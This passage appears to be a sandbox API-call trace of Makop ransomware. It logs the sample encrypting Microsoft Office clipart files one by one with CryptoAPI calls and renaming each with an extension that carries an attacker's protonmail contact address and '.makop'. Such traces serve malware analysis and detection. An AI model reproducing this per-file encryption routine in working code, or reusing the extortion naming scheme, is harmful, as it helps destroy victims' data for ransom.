lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6860, lpOverlapped=0x0) returned 1 [0115.447] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.447] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.447] SetEndOfFile (hFile=0xf0) returned 1 [0115.454] GetProcessHeap () returned 0x48a0000 [0115.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.455] GetProcessHeap () returned 0x48a0000 [0115.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.455] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.456] CloseHandle (hObject=0xf0) returned 1 [0115.456] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0115.456] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0115.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.457] GetProcessHeap () returned 0x48a0000 [0115.457] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.457] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.457] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.457] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.458] GetProcessHeap () returned 0x48a0000 [0115.458] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.458] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.458] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.458] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.462] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.462] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.462] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.463] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.463] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.463] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.463] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.463] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.463] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa90, lpOverlapped=0x0) returned 1 [0115.463] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa90, dwBufLen=0xa90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa90) returned 1 [0115.463] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.464] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa90, lpOverlapped=0x0) returned 1 [0115.464] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.464] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.464] SetEndOfFile (hFile=0xf0) returned 1 [0115.471] GetProcessHeap () returned 0x48a0000 [0115.471] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.471] GetProcessHeap () returned 0x48a0000 [0115.471] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.471] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.473] CloseHandle (hObject=0xf0) returned 1 [0115.473] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48ba00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b48ba00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1 [0115.473] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0115.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.474] GetProcessHeap () returned 0x48a0000 [0115.474] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.474] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.474] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.474] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.479] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.479] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.479] GetProcessHeap () returned 0x48a0000 [0115.479] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.479] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.480] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.480] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.480] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.480] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.480] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.480] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.480] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.480] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.481] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.481] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.481] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x52c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x52c, lpOverlapped=0x0) returned 1 [0115.481] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x530, dwBufLen=0x530 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x530) returned 1 [0115.481] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.481] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x530, lpOverlapped=0x0) returned 1 [0115.481] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.481] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.481] SetEndOfFile (hFile=0xf0) returned 1 [0115.489] GetProcessHeap () returned 0x48a0000 [0115.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.489] GetProcessHeap () returned 0x48a0000 [0115.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.489] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.491] CloseHandle (hObject=0xf0) returned 1 [0115.491] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e4b800, ftCreationTime.dwHighDateTime=0x1bd4bf1, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1e4b800, ftLastWriteTime.dwHighDateTime=0x1bd4bf1, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1 [0115.491] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0115.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.491] GetProcessHeap () returned 0x48a0000 [0115.492] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.492] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.492] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.492] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.496] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.496] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.496] GetProcessHeap () returned 0x48a0000 [0115.496] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.496] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.496] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.496] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.497] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.497] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.497] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.497] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.497] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.497] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.498] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1efc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1efc, lpOverlapped=0x0) returned 1 [0115.500] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f00, dwBufLen=0x1f00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f00) returned 1 [0115.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.500] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f00, lpOverlapped=0x0) returned 1 [0115.500] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.500] SetEndOfFile (hFile=0xf0) returned 1 [0115.507] GetProcessHeap () returned 0x48a0000 [0115.508] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.508] GetProcessHeap () returned 0x48a0000 [0115.508] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.508] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.508] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.509] CloseHandle (hObject=0xf0) returned 1 [0115.509] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa59600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5fa59600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1 [0115.509] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0115.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.511] GetProcessHeap () returned 0x48a0000 [0115.511] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.511] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.512] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.512] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.512] GetProcessHeap () returned 0x48a0000 [0115.512] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.512] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.512] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.512] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.516] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.517] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.517] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.517] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.518] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15b0, lpOverlapped=0x0) returned 1 [0115.519] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15b0, dwBufLen=0x15b0 | out: pbData=0x6370020*, 